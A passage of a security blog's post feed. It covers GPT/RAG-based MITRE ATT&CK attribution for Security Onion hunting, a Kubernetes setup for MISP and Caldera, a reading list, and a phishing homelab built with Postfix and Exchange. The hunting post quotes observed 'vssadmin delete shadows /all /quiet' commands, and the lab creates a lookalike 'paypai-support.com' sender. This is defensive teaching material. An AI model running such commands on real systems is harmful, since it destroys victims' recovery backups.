Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020) Techniques Used # Test a search using our technique query = \u0026#34;What technique is delete the volume shadow copies?\u0026#34; relevant_docs = db.similarity_search(query) # print results print(relevant_docs[0].page_content) Matrix Domain Platform Technique ID Technique Name Use mitre-attack enterprise-attack Linux,macOS,Windows,Network T1090 Proxy CopyKittens has used the AirVPN service for operational activity.(Citation: Microsoft POLONIUM June 2022) mitre-attack enterprise-attack PRE T1588.002 Tool CopyKittens has used Metasploit, Empire , and AirVPN for post-exploitation activities.(Citation: ClearSky and Trend Micro Operation Wilted Tulip July 2017)(Citation: Microsoft POLONIUM June 2022) mitre-attack enterprise-attack macOS,Windows,Linux T1564.003 Hidden Window CopyKittens has used -w hidden and -windowstyle hidden to conceal PowerShell windows. (Citation: ClearSky Wilted Tulip July 2017) mitre-attack enterprise-attack Linux,macOS,Windows T1560.003 Archive via Custom Method CopyKittens encrypts data with a substitute cipher prior to exfiltration.(Citation: CopyKittens Nov 2015) mitre-attack enterprise-attack Windows T1218.011 Rundll32 CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.(Citation: ClearSky Wilted Tulip July 2017) mitre-attack enterprise-attack Linux,macOS,Windows T1560.001 Archive via Utility CopyKittens uses ZPP, a .NET console program, to compress files with ZIP.(Citation: ClearSky Wilted Tulip July 2017) mitre-attack enterprise-attack Windows T1059.001 PowerShell This was not highly accurate. Roberto\u0026rsquo;s data is based on MITRE\u0026rsquo;s Groups. The technique that I\u0026rsquo;m looking at is employed by ransomware - a software, not a group. Lockbit does not show up in MITRE\u0026rsquo;s Groups list, nor does it show up in software. We may want to make an additional database that focuses on TTPs. But first, let\u0026rsquo;s try querying OpenAI.\nI add on CompressibleAgent to try and overcome the token limitations that are experienced when taking OpenAI\u0026rsquo;s explanation of the observed activity.\n# Set up AutoGen config list config_list = autogen.oai.config_list_from_models( model_list=[\u0026#34;gpt-3.5-turbo\u0026#34;, \u0026#34;gpt-4\u0026#34;] ) # Set up LLM Config llm_config = { \u0026#34;timeout\u0026#34; : 600, \u0026#34;seed\u0026#34; : 42, \u0026#34;config_list\u0026#34; : config_list, \u0026#34;temperature\u0026#34; : 0 } from autogen.agentchat.contrib.retrieve_assistant_agent import RetrieveAssistantAgent from autogen.agentchat.contrib.retrieve_user_proxy_agent import RetrieveUserProxyAgent import chromadb ragproxyagent = RetrieveUserProxyAgent( name=\u0026#34;ragproxyagent\u0026#34;, human_input_mode=\u0026#34;NEVER\u0026#34;, max_consecutive_auto_reply=5, retrieve_config={ \u0026#34;task\u0026#34;: \u0026#34;qa\u0026#34;, \u0026#34;collection_name\u0026#34;: \u0026#34;groups_collection\u0026#34;, \u0026#34;model\u0026#34;: config_list[0][\u0026#34;model\u0026#34;], \u0026#34;client\u0026#34;: chromadb.PersistentClient(path=\u0026#39;./chroma_db\u0026#39;), \u0026#34;embedding_model\u0026#34;: \u0026#34;all-mpnet-base-v2\u0026#34;, #Sentence-transformers model }, ) assistant = RetrieveAssistantAgent( name=\u0026#34;assistant\u0026#34;, system_message=\u0026#34;You are a helpful assistant.\u0026#34;, llm_config=llm_config, ) from autogen.agentchat.contrib.compressible_agent import CompressibleAgent compressed_assistant = CompressibleAgent( name=\u0026#34;assistant\u0026#34;, system_message=\u0026#34;You are a cyber security analyst.\u0026#34;, llm_config={ \u0026#34;timeout\u0026#34;: 600, \u0026#34;cache_seed\u0026#34;: 42, \u0026#34;config_list\u0026#34;: config_list, }, compress_config={ \u0026#34;mode\u0026#34;: \u0026#34;COMPRESS\u0026#34;, \u0026#34;trigger_count\u0026#34;: 600, # set this to a large number for less frequent compression \u0026#34;verbose\u0026#34;: True, # to allow printing of compression information: contex before and after compression \u0026#34;leave_last_n\u0026#34;: 2, } ) INFO:autogen.token_count_utils:gpt-4 may update over time. Returning num tokens assuming gpt-4-0613.\nAt this point, Roberto can prompt the RAG agent on different MITRE ATT\u0026amp;CK groups. Lets try asking about the pre-ransomware activity that was found:\nassistant.reset() qa_problem = f\u0026#34;What threat actors use the following techniques: {vss_response2}\u0026#34; ragproxyagent.initiate_chat(compressed_assistant, problem=qa_problem) User's question is: What threat actors use the following techniques: Based on the provided activity, it appears that a threat actor has performed the following actions: 1. Executed a file named \u0026quot;6341D6.exe\u0026quot; located in the \u0026quot;C:\\Windows\\Temp\\\u0026quot; directory with the working directory set to \u0026quot;C:\\WINDOWS\\system32\\\u0026quot;. 2. Executed the command \u0026quot;C:\\Windows\\System32\\cmd.exe\u0026quot; with the working directory set to \u0026quot;C:\\WINDOWS\\system32\\\u0026quot;. 3. Executed the command \u0026quot;vssadmin delete shadows /all /quiet\u0026quot;. 4. Executed the command \u0026quot;C:\\Windows\\System32\\vssadmin.exe\u0026quot;. 5. Executed the command \u0026quot;vssadmin delete shadows /all /quiet\u0026quot;. 6. Executed the command \u0026quot;C:\\Windows\\System32\\vssadmin.exe\u0026quot;. 7. Executed the command \u0026quot;vssadmin delete shadows /all /quiet\u0026quot;. 8. Executed the command \u0026quot;C:\\Windows\\System32\\cmd.exe\u0026quot; with the working directory set to \u0026quot;C:\\Windows\\system32\\\u0026quot;. From these actions, it can be inferred that the threat actor is attempting to delete Volume Shadow Copies (VSS) on the system. VSS is a feature in Windows that creates backups of files and allows users to restore them to a previous state. By deleting the VSS, the threat actor may be trying to cover their tracks or prevent file recovery tools from accessing previous versions of files, thus hindering potential forensic investigation or restoring system to a previous state. Deleting VSS can be a common tactic used by threat actors involved in activities such as ransomware attacks, where they aim to prevent victims from restoring their files from backup copies. It can also be used to hide the presence of malicious files or activities on the system by removing potential traces. As a cyber security analyst, it is important to investigate further, analyze the impact of the VSS deletion, and take appropriate actions to mitigate further risks. This may include conducting a thorough system analysis, monitoring for any additional suspicious activities, and implementing security measures to prevent future unauthorized access. ... assistant (to ragproxyagent): Based on the provided activity, the threat actor is attempting to delete Volume Shadow Copies (VSS) on the system. -------------------------------------------------------------------------------- This response misses the mark. We can probably make this better by engineering a better prompt. The initial OpenAI response was very wordy - if we can make that first prompt return a more focused response, we can try feeding that OpenAI output into the RAG. Then the RAG should provide a better answer to this question. Let\u0026rsquo;s manually test with a more focused prompt.\nassistant.reset() qa_problem = f\u0026#34;What ransomware focused threat actors delete volume shadow copies?\u0026#34; ragproxyagent.initiate_chat(compressed_assistant, problem=qa_problem) User's question is: What ransomware focused threat actors delete volume shadow copies? ... assistant (to ragproxyagent): EXOTIC LILY, Wizard Spider -------------------------------------------------------------------------------- The Wizard Spider page says:\nWizard Spider has used WMIC and vssadmin to manually delete volume shadow copies. Wizard Spider has also used Conti ransomware to delete volume shadow copies automatically with the use of vssadmin.[7]\nAnd EXOTIC LILY says:\nEXOTIC LILY is a financially motivated group that has been closely linked with Wizard Spider and the deployment of ransomware including Conti and Diavol.\nThis is encouraging - the EXOTIC LILY page does not explicitly say that vssadmin is used, but it seems like the link to Wizard Spider provided enough association to make a connection. So, we\u0026rsquo;ll want to engineer the original prompt to produce output that looks like \u0026ldquo;this threat actor deleted volume shadow copies\u0026rdquo;. On the other hand, there are several other groups that do the same actions, but those were not returned.\nAs a control, let\u0026rsquo;s see if the GPT will correctly answer a question about another threat actor. The MITRE group page for Lazarus does not list any volume shadow copy interaction.\nassistant.reset() qa_problem = f\u0026#34;What commands does Lazarus Group use to delete volume shadow copies?\u0026#34; ragproxyagent.initiate_chat(compressed_assistant, problem=qa_problem) User\u0026rsquo;s question is: What commands does Lazarus Group use to delete volume shadow copies? \u0026hellip; assistant (to ragproxyagent): The Lazarus Group does not use specific commands to delete volume shadow copies. \u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026ndash;\nThe GPT correctly identifies that Lazarus does not delete volume shadow copies\nNext steps At this point, we can manually query Elastic and feed results to a GPT for summarization. Using gpt-3.5 provides okay results and we can mitigate some of its shortcomings (context length, training end date) with RAG. My next goal is to have a GPT save time in creating queries for Elastic. Eventually, I\u0026rsquo;d like to have an agent that you can provide with a hunting lead, have the agent create and run an Elastic query, then summarize and explain results.\n","permalink":"https://www.kimobu.space/posts/SecurityOnion-GPT/","summary":"\u003ch1 id=\"introduction\"\u003eIntroduction\u003c/h1\u003e\n\u003cp\u003eI was recently catching up on some conference videos and saw a talk by Roberto Rodriguez on \u003ca href=\"https://www.youtube.com/watch?v=TiBIP7kWaks\u0026amp;list=PL7ZDZo2Xu3332bKrXyCb0VEg52nqmMAcv\u0026amp;index=31\"\u003eEmpowering Security Teams with Generative AI: GPT models\u003c/a\u003e. This got me thinking about how to integrate GPT to hunting with Security Onion.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eGoals\u003c/strong\u003e:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eSummarize activity found in Security Onion\u003c/li\u003e\n\u003cli\u003eEnrich activity with MITRE ATT\u0026amp;CK attribution\u003c/li\u003e\n\u003cli\u003eConvert English questions to Kibana Query Language to hunt\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eIn this post, I\u0026rsquo;ll tackle goals 1 and 2. I\u0026rsquo;ll do goal 3 in a separate post. These experiments will be conducted in Jupyter lab.\u003c/p\u003e","title":"SecurityOnion GPT"},{"content":"I run a few services for the threat intelligence and hunting course that I teach, including CAPE, MISP, and Caldera. Last semester, I used a few VMs and Docker to provide these, but I wanted to learn Kubernetes. Here are some notes on migrating over.\nGetting Started I started trying Kubernetes the hard way but ultimately ended up using microk8s. The install guide was straight forward. I made 1x control plane node and 2x worker nodes. I used this blog as a starting point. I used Robert\u0026rsquo;s suggestion for nfs-subdir-external-provisioner to provide the persistent storage for my pods.\nOne of the first things I looked at was providing access to the services. I previously used Nginx as a reverse proxy, and sent requests to each service based on the hostname requested. For example, going to misp.jhu-ctih.training sent the students to the MISP server. With Kubernetes, I learned about LoadBalancers to do the same thing. Since I self-host I used MetalLB. This was setup with one line: microk8s enable metallb:\u0026lt;start_ip\u0026gt;-\u0026lt;end_ip\u0026gt;. Instead of Nginx, I used Traefik.\nAdding services MISP and Caldera provide Docker files. I used Kompose to convert those to Kubernetes YAML files.\nMISP The misp-docker project uses four containers: misp-core, misp-modules, mariadb, and redis. Kompose converted those into four deployments, four services, and four persistent volume claims. I had some issues with the mariadb container, so I used the Bitnami MariaDB Helm Chart. I specify the database variables in the values YAML:\nextraEnvVars: - name: MARIADB_DATABASE value: \u0026lt;database_name\u0026gt; - name: MARIADB_PASSWORD value: \u0026lt;user_password\u0026gt; - name: MARIADB_ROOT_PASSWORD value: \u0026lt;root_password\u0026gt; - name: MARIADB_USER value: \u0026lt;username\u0026gt; I condensed the misp-core container into one file with both a Deployment and a Service. Make sure the MYSQL_* variables match the MARIADB_* variables from above.\napiVersion: apps/v1 kind: Deployment metadata: annotations: kompose.cmd: kompose --file docker-compose.yml convert kompose.version: 1.26.0 (40646f47) creationTimestamp: null labels: io.kompose.service: misp-core name: misp-core namespace: misp spec: replicas: 1 selector: matchLabels: io.kompose.service: misp-core strategy: type: Recreate template: metadata: annotations: kompose.cmd: kompose --file docker-compose.yml convert kompose.version: 1.26.0 (40646f47) creationTimestamp: null labels: io.kompose.service: misp-core spec: containers: - env: - name: ADMIN_EMAIL value: \u0026lt;misp_admin_email\u0026gt; - name: ADMIN_PASSWORD value: \u0026lt;misp_admin_password\u0026gt; - name: BASE_URL value: https://misp.jhu-ctih.training - name: MYSQL_DATABASE value: \u0026lt;database_name\u0026gt; - name: MYSQL_HOST value: misp-db-mariadb # internal Kubernetes networking resolution - name: MYSQL_PASSWORD value: \u0026lt;user_password\u0026gt; - name: MYSQL_PORT value: \u0026#34;3306\u0026#34; - name: MYSQL_USER value: \u0026lt;username\u0026gt; - name: REDIS_FQDN value: misp-redis # internal Kubernetes networking resolution - name: SYNCSERVERS_1_DATA value: |2 { \u0026#34;remote_org_uuid\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;authkey\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;pull\u0026#34;: true } image: ghcr.io/misp/misp-docker/misp-core:latest name: misp-core ports: - containerPort: 80 - containerPort: 443 resources: {} volumeMounts: - mountPath: /var/www/MISP/app/Config/ name: misp-core-config - mountPath: /var/www/MISP/app/tmp/logs/ name: misp-core-logs - mountPath: /var/www/MISP/app/files/ name: misp-core-files - mountPath: /etc/nginx/certs/ name: misp-core-certs - mountPath: /var/www/MISP/.gnupg/ name: misp-core-gnupg restartPolicy: Always volumes: - name: misp-core-config nfs: server: \u0026lt;nfs_servername\u0026gt; path: /nfs_storage/kube/misp/www-data/app/Config - name: misp-core-logs nfs: server: \u0026lt;nfs_servername\u0026gt; path: /nfs_storage/kube/misp/www-data/app/tmp/logs - name: misp-core-files nfs: server: \u0026lt;nfs_servername\u0026gt; path: /nfs_storage/kube/misp/www-data/app/files - name: misp-core-certs nfs: server: \u0026lt;nfs_servername\u0026gt; path: /nfs_storage/kube/misp/www-data/nginx/certs - name: misp-core-gnupg nfs: server: \u0026lt;nfs_servername\u0026gt; path: /nfs_storage/kube/misp/www-data/gnupg status: {} --- apiVersion: v1 kind: Service metadata: annotations: kompose.cmd: kompose --file docker-compose.yml convert kompose.version: 1.26.0 (40646f47) creationTimestamp: null labels: io.kompose.service: misp-core name: misp-core namespace: misp spec: ports: - name: \u0026#34;80\u0026#34; port: 80 targetPort: 80 - name: \u0026#34;443\u0026#34; port: 443 targetPort: 443 selector: io.kompose.service: misp-core status: loadBalancer: {} The manifests for misp-modules and redis worked without modification.\nCaldera The manifests created by Kompose tried to pull caldera:latest, but the image does not exist. Caldera uses Docker RUN to set up the container. I changed the image to ubuntu:latest, and used a ConfigMap to define a shell script the implements all of the RUN commands to do the container setup.\napiVersion: apps/v1 kind: Deployment metadata: annotations: kompose.cmd: kompose convert kompose.version: 1.31.2 (a92241f79) creationTimestamp: null labels: io.kompose.service: caldera name: caldera namespace: caldera spec: replicas: 1 selector: matchLabels: io.kompose.service: caldera strategy: type: Recreate template: metadata: annotations: kompose.cmd: kompose convert kompose.version: 1.31.2 (a92241f79) creationTimestamp: null labels: io.kompose.network/caldera-default: \u0026#34;true\u0026#34; io.kompose.service: caldera spec: containers: - image: ubuntu:latest name: caldera command: [\u0026#34;/bin/entrypoint.sh\u0026#34;] volumeMounts: - name: caldera-app mountPath: /usr/src/app - name: configmap-volume mountPath: /bin/entrypoint.sh readOnly: true subPath: entrypoint.sh env: - name: VIRTUAL_ENV value: /opt/venv/caldera - name: TZ value: UTC - name: WIN_BUILD value: \u0026#34;true\u0026#34; workingDir: /usr/src/app ports: - containerPort: 8888 hostPort: 8888 protocol: TCP - containerPort: 8443 hostPort: 8443 protocol: TCP - containerPort: 7010 hostPort: 7010 protocol: TCP - containerPort: 7011 hostPort: 7011 protocol: UDP - containerPort: 7012 hostPort: 7012 protocol: TCP - containerPort: 8853 hostPort: 8853 protocol: TCP - containerPort: 8022 hostPort: 8022 protocol: TCP - containerPort: 2222 hostPort: 2222 protocol: TCP resources: {} restartPolicy: Always volumes: - name: caldera-app nfs: server: \u0026lt;nfs_servername\u0026gt; path: /nfs_storage/kube/caldera/caldera - name: configmap-volume configMap: defaultMode: 0700 name: configmap-caldera status: {} Here\u0026rsquo;s the ConfigMap:\napiVersion: v1 kind: ConfigMap metadata: name: configmap-caldera namespace: caldera data: entrypoint.sh: | #!/bin/bash function initCaldera { if [ -z \u0026#34;$(ls plugins/stockpile)\u0026#34; ]; then echo \u0026#34;stockpile plugin not downloaded - please ensure you recursively cloned the caldera git repository and try again.\u0026#34;; exit 1; fi apt-get update \u0026amp;\u0026amp; apt-get -y install python3 python3-pip python3-venv git curl golang-go if [ \u0026#34;$WIN_BUILD\u0026#34; = \u0026#34;true\u0026#34; ] ; then apt-get -y install mingw-w64; fi python3 -m venv $VIRTUAL_ENV PATH=\u0026#34;$VIRTUAL_ENV/bin:$PATH\u0026#34; pip3 install --no-cache-dir -r requirements.txt python3 -c \u0026#34;import app; import app.utility.config_generator; app.utility.config_generator.ensure_local_config();\u0026#34; sed -i \u0026#39;/\\- atomic/d\u0026#39; conf/local.yml cd /usr/src/app/plugins/sandcat/gocat go mod tidy \u0026amp;\u0026amp; go mod download cd /usr/src/app/plugins/sandcat if [ \u0026#34;$WIN_BUILD\u0026#34; = \u0026#34;true\u0026#34; ] ; then cp ./update-agents.sh ./update-agents-copy.sh fi if [ \u0026#34;$WIN_BUILD\u0026#34; = \u0026#34;true\u0026#34; ] ; then tr -d \u0026#39;\\15\\32\u0026#39; \u0026lt; ./update-agents-copy.sh \u0026gt; ./update-agents.sh fi if [ \u0026#34;$WIN_BUILD\u0026#34; = \u0026#34;true\u0026#34; ] ; then rm ./update-agents-copy.sh fi ./update-agents.sh mkdir /tmp/gocatextensionstest cp -R ./gocat /tmp/gocatextensionstest/gocat cp -R ./gocat-extensions/* /tmp/gocatextensionstest/gocat/ cp ./update-agents.sh /tmp/gocatextensionstest/update-agents.sh cd /tmp/gocatextensionstest mkdir /tmp/gocatextensionstest/payloads ./update-agents.sh if [ ! -d \u0026#34;/usr/src/app/plugins/atomic/data/atomic-red-team\u0026#34; ]; then git clone --depth 1 https://github.com/redcanaryco/atomic-red-team.git; /usr/src/app/plugins/atomic/data/atomic-red-team fi cd /usr/src/app/plugins/emu if [ $(grep -c \u0026#34;\\- emu\u0026#34; ../../conf/local.yml) ]; then apt-get -y install zlib1g unzip; pip3 install -r requirements.txt ./download_payloads.sh fi touch /usr/src/app/.configured } if [ ! -f /usr/src/app/.configured ]; then initCaldera fi PATH=\u0026#34;$VIRTUAL_ENV/bin:$PATH\u0026#34; cd /usr/src/app python3 server.py --log DEBUG CAPE CAPE did not get converted to Kubernetes since it still needs to run VMs to detonate malware.\nExposing Services The MISP and Caldera servers are now available within the Kubernetes network. To expose them, I deploy Traefik IngressRoutes. An IngressRoute is also used to pass cape.jhu-ctih.training to an ExternalService.\nI applied some custom configurations to Traefik. MISP uses a self-signed certificate which Traefik will not validate. I request a specific IP from MetalLB. Each service runs in its own namespace, so I allow cross-namespace access. Since CAPE is an external service to the Kubernetes cluster, I allow external name service access.\nservice: enabled: true single: true type: LoadBalancer spec: {} loadBalancerIP: \u0026#34;\u0026lt;requested_ip_in_metallb_range\u0026gt;\u0026#34; providers: kubernetesCRD: enabled: true allowCrossNamespace: true allowExternalNameServices: true additionalArguments: - --serverstransport.insecureskipverify=true Then for each service, create an IngressRoute:\napiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute metadata: name: jhu-ctih-https spec: entryPoints: - websecure routes: - match: Host(`misp.jhu-ctih.training`) kind: Rule services: - name: misp-core port: 443 namespace: misp --- apiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute metadata: name: jhu-ctih-https spec: entryPoints: - websecure routes: - match: Host(`caldera.jhu-ctih.training`) kind: Rule services: - name: caldera port: 8888 namespace: caldera --- kind: Service apiVersion: v1 metadata: name: cape-service spec: type: ExternalName ports: - port: 8000 # This port and the port below must match externalName: \u0026lt;cape_server_ip\u0026gt; --- apiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute metadata: name: cape-ingress spec: entryPoints: - websecure routes: - match: Host(`cape.jhu-ctih.training`) kind: Rule priority: 1 services: - name: cape-service port: 8000 # Thought this was Traefik listen port, but must match above ","permalink":"https://www.kimobu.space/posts/Kubernetes/","summary":"\u003cp\u003eI run a few services for the threat intelligence and hunting course that I teach, including \u003ca href=\"https://github.com/kevoreilly/CAPEv2\"\u003eCAPE\u003c/a\u003e, \u003ca href=\"https://www.misp-project.org\"\u003eMISP\u003c/a\u003e, and \u003ca href=\"https://caldera.mitre.org\"\u003eCaldera\u003c/a\u003e. Last semester, I used a few VMs and Docker to provide these, but I wanted to learn Kubernetes. Here are some notes on migrating over.\u003c/p\u003e\n\u003ch1 id=\"getting-started\"\u003eGetting Started\u003c/h1\u003e\n\u003cp\u003eI started trying Kubernetes the hard way but ultimately ended up using \u003ca href=\"https://microk8s.io/#install-microk8s\"\u003emicrok8s\u003c/a\u003e. The install guide was straight forward. I made 1x control plane node and 2x worker nodes. I used \u003ca href=\"https://www.robert-jensen.dk/posts/2021-microk8s-with-traefik-and-metallb/\"\u003ethis blog\u003c/a\u003e as a starting point. I used Robert\u0026rsquo;s suggestion for \u003ccode\u003enfs-subdir-external-provisioner\u003c/code\u003e to provide the persistent storage for my pods.\u003c/p\u003e","title":"Learning Kubernetes"},{"content":" Amazon Unbound: Jeff Bezos and the Invention of a Global Empire The Devil Never Sleeps: Learning to Live in an Age of Disasters All Blood Runs Red: The Legendary Life of Eugene Bullard―Boxer, Pilot, Soldier, Spy The Creative Gene: How books, movies, and music inspired the creator of Death Stranding and Metal Gear Solid The Ransomware Hunting Team: A Band of Misfits\u0026rsquo; Improbable Crusade to Save the World from Cybercrime Meet Me by the Fountain: An Inside History of the Mall The Persuaders: At the Front Lines of the Fight for Hearts, Minds, and Democracy The Ministry for the Future: A Novel Anna Karenina Cheap Land Colorado: Off-Gridders at America\u0026rsquo;s Edge The End of the World Is Just the Beginning: Mapping the Collapse of Globalization The Art of Being Indispensable at Work: Win Influence, Beat Overcommitment, and Get the Right Things Done The Nineties: A Book Slaughter House Five Pandemic, Inc.: Chasing the Capitalists and Thieves Who Got Rich While We Got Sick Originals: How Non-Conformists Move the World Winners Take All: The Elite Charade of Changing the World Raw Dog: The Naked Truth About Hot Dogs The Fifth Act: America\u0026rsquo;s End in Afghanistan The Long Game: China\u0026rsquo;s Grand Strategy to Displace American Order Not a Good Day to Die: The Untold Story of Operation Anaconda Beautiful Swimmers: Watermen, Crabs and the Chesapeake Bay Poverty, by America Defeat into Victory: Battling Japan in Burma and India, 1942-1945 The Kingdom of Prep: The Inside Story of the Rise and (Near) Fall of J.Crew Be Useful: Seven Tools for Life Life Sentence: The Brief and Tragic Career of Baltimore’s Deadliest Gang Leader Frederick Douglass: Prophet of Freedom Toms River: A Story of Science and Salvation Guns, Germs and Steel: The Fate of Human Societies A Full Life: Reflections at Ninety Spies and Lies: How China\u0026rsquo;s Greatest Covert Operations Fooled the World Greenlights Elon Musk ","permalink":"https://www.kimobu.space/posts/Books-of-2023/","summary":"\u003col\u003e\n\u003cli\u003eAmazon Unbound: Jeff Bezos and the Invention of a Global Empire\u003c/li\u003e\n\u003cli\u003eThe Devil Never Sleeps: Learning to Live in an Age of Disasters\u003c/li\u003e\n\u003cli\u003eAll Blood Runs Red: The Legendary Life of Eugene Bullard―Boxer, Pilot, Soldier, Spy\u003c/li\u003e\n\u003cli\u003eThe Creative Gene: How books, movies, and music inspired the creator of Death Stranding and Metal Gear Solid\u003c/li\u003e\n\u003cli\u003eThe Ransomware Hunting Team: A Band of Misfits\u0026rsquo; Improbable Crusade to Save the World from Cybercrime\u003c/li\u003e\n\u003cli\u003eMeet Me by the Fountain: An Inside History of the Mall\u003c/li\u003e\n\u003cli\u003eThe Persuaders: At the Front Lines of the Fight for Hearts, Minds, and Democracy\u003c/li\u003e\n\u003cli\u003eThe Ministry for the Future: A Novel\u003c/li\u003e\n\u003cli\u003eAnna Karenina\u003c/li\u003e\n\u003cli\u003eCheap Land Colorado: Off-Gridders at America\u0026rsquo;s Edge\u003c/li\u003e\n\u003cli\u003eThe End of the World Is Just the Beginning: Mapping the Collapse of Globalization\u003c/li\u003e\n\u003cli\u003eThe Art of Being Indispensable at Work: Win Influence, Beat Overcommitment, and Get the Right Things Done\u003c/li\u003e\n\u003cli\u003eThe Nineties: A Book\u003c/li\u003e\n\u003cli\u003eSlaughter House Five\u003c/li\u003e\n\u003cli\u003ePandemic, Inc.: Chasing the Capitalists and Thieves Who Got Rich While We Got Sick\u003c/li\u003e\n\u003cli\u003eOriginals: How Non-Conformists Move the World\u003c/li\u003e\n\u003cli\u003eWinners Take All: The Elite Charade of Changing the World\u003c/li\u003e\n\u003cli\u003eRaw Dog: The Naked Truth About Hot Dogs\u003c/li\u003e\n\u003cli\u003eThe Fifth Act: America\u0026rsquo;s End in Afghanistan\u003c/li\u003e\n\u003cli\u003eThe Long Game: China\u0026rsquo;s Grand Strategy to Displace American Order\u003c/li\u003e\n\u003cli\u003eNot a Good Day to Die: The Untold Story of Operation Anaconda\u003c/li\u003e\n\u003cli\u003eBeautiful Swimmers: Watermen, Crabs and the Chesapeake Bay\u003c/li\u003e\n\u003cli\u003ePoverty, by America\u003c/li\u003e\n\u003cli\u003eDefeat into Victory: Battling Japan in Burma and India, 1942-1945\u003c/li\u003e\n\u003cli\u003eThe Kingdom of Prep: The Inside Story of the Rise and (Near) Fall of J.Crew\u003c/li\u003e\n\u003cli\u003eBe Useful: Seven Tools for Life\u003c/li\u003e\n\u003cli\u003eLife Sentence: The Brief and Tragic Career of Baltimore’s Deadliest Gang Leader\u003c/li\u003e\n\u003cli\u003eFrederick Douglass: Prophet of Freedom\u003c/li\u003e\n\u003cli\u003eToms River: A Story of Science and Salvation\u003c/li\u003e\n\u003cli\u003eGuns, Germs and Steel: The Fate of Human Societies\u003c/li\u003e\n\u003cli\u003eA Full Life: Reflections at Ninety\u003c/li\u003e\n\u003cli\u003eSpies and Lies: How China\u0026rsquo;s Greatest Covert Operations Fooled the World\u003c/li\u003e\n\u003cli\u003eGreenlights\u003c/li\u003e\n\u003cli\u003eElon Musk\u003c/li\u003e\n\u003c/ol\u003e","title":"Recap of the books I read in 2023"},{"content":"I wanted to add some phishing scenarios to my hunting homelab. I\u0026rsquo;m more concerned with being able to hunt on malicious emails than on stopping them, so DMARC, DKIM, and SPF are out of scope. If you have an offensive lens, you\u0026rsquo;ll want to look at something like this for an effective phishing set up.\nLet\u0026rsquo;s look at two areas: external mail where phishing comes from and internal mail where phishes will be received.\nExternal mail We need some infrastructure set up to send email. First is Postfix, a mail server. We can send email using a command line, but we might want to compose emails graphically, so we\u0026rsquo;ll install an IMAP server (dovecot) and a webmail server (Roundcube).\nPostfix This guide was pretty solid to get Postfix up and running. To support SMTPS we\u0026rsquo;ll need a certificate:\nopenssl req -newkey rsa:2048 -keyout /etc/ssl/private/mail-kvps.key.enc -x509 -days 365 -out mail-kvps.crt openssl rsa -in /etc/ssl/private/mail-kvps.key.enc -out /etc/ssl/private/mail-kvps.key Here\u0026rsquo;s an example Postfix configuration file main.cf. Comments are inline.\nsmtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no append_dot_mydomain = no alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases mydestination = mail.kvps.local, localhost.kvps.local, localhost # What domains to receive mail for relayhost = mynetworks = 127.0.0.0/8 10.10.41.0/24 # What networks to relay mail from inet_interfaces = all recipient_delimiter = + compatibility_level = 2 myorigin = /etc/mailname mailbox_size_limit = 0 inet_protocols = ipv4 home_mailbox = Maildir/ # In the user\u0026#39;s homedir, where should mail be stored smtpd_sasl_type = dovecot smtpd_sasl_path = private/auth smtpd_sasl_local_domain = smtpd_sasl_security_options = noanonymous smtpd_sasl_tls_security_options = noanonymous broken_sasl_auth_clients = yes smtpd_sasl_auth_enable = yes smtp_tls_security_level = may smtpd_tls_security_level = may smtp_tls_note_starttls_offer = yes smtpd_tls_key_file = /etc/ssl/private/mail-kvps.key # TLS key from openssl above smtpd_tls_cert_file = /etc/ssl/certs/mail-kvps.crt # TlS cert from openssl above smtpd_tls_loglevel = 4 smtpd_tls_received_header = yes myhostname = mail.kvps.local # Who are we smtpd_tls_auth_only = no tls_random_source = dev:/dev/urandom Dovecot The dovecot install is straight forward.\nIn 10-mail.conf we set the mail_location to match Postfix:\nmail_location = maildir:~/Maildir Then in 10-master.conf we set the auth on unix_listener:\nunix_listener /var/spool/postfix/private/auth { mode = 0666 user = postfix group = postfix } In /etc/dovecot/users we can add in email addresses, passwords, and user maildirs:\nadmin@paypai-support.com:{PLAIN}abc123:1001:1001::/home/vmail::userdb_mail=maildir:~/Maildir/paypai-support.com/admin Roundcube Lastly install Roundcube.\nIn config.inc.php we configure the following:\n$config[\u0026#39;db_dsnw\u0026#39;] = \u0026#39;mysql://USERNAME:PASSWORD@localhost/DATABASE\u0026#39;; $config[\u0026#39;imap_host\u0026#39;] = \u0026#39;localhost:143\u0026#39;; $config[\u0026#39;smtp_host\u0026#39;] = \u0026#39;localhost:25\u0026#39;; $config[\u0026#39;support_url\u0026#39;] = \u0026#39;http://localhost\u0026#39;; $config[\u0026#39;des_key\u0026#39;] = \u0026#39;YOURKEY\u0026#39;; $config[\u0026#39;plugins\u0026#39;] = []; $config[\u0026#39;language\u0026#39;] = \u0026#39;en_US\u0026#39;; $config[\u0026#39;spellcheck_engine\u0026#39;] = \u0026#39;enchant\u0026#39;; Internal mail Next is internal email. The lab is Active Directory based, so I use Exchange.\nExchange Pull the Windows Server 2019 Standard ISO from the Microsoft EvalCenter and the Exchange 2019 ISO from here. In my server (VM) I added a 100Gb drive and installed Exchange to it in D:\\exchange.\nOnce installed, configure the Exchange server to do nothing with malicious emails.\nDNS Now to send emails from External to Internal, we need to set up some DNS MX entries. On a container I run bind and configure the following in named.conf.local:\nzone \u0026#34;kvps.local\u0026#34; { type master; file \u0026#34;/etc/bind/db.kvps.local\u0026#34;; }; zone \u0026#34;41.10.10.in-addr.arpa\u0026#34; { type master; file \u0026#34;/etc/bind/db.10\u0026#34;; }; zone 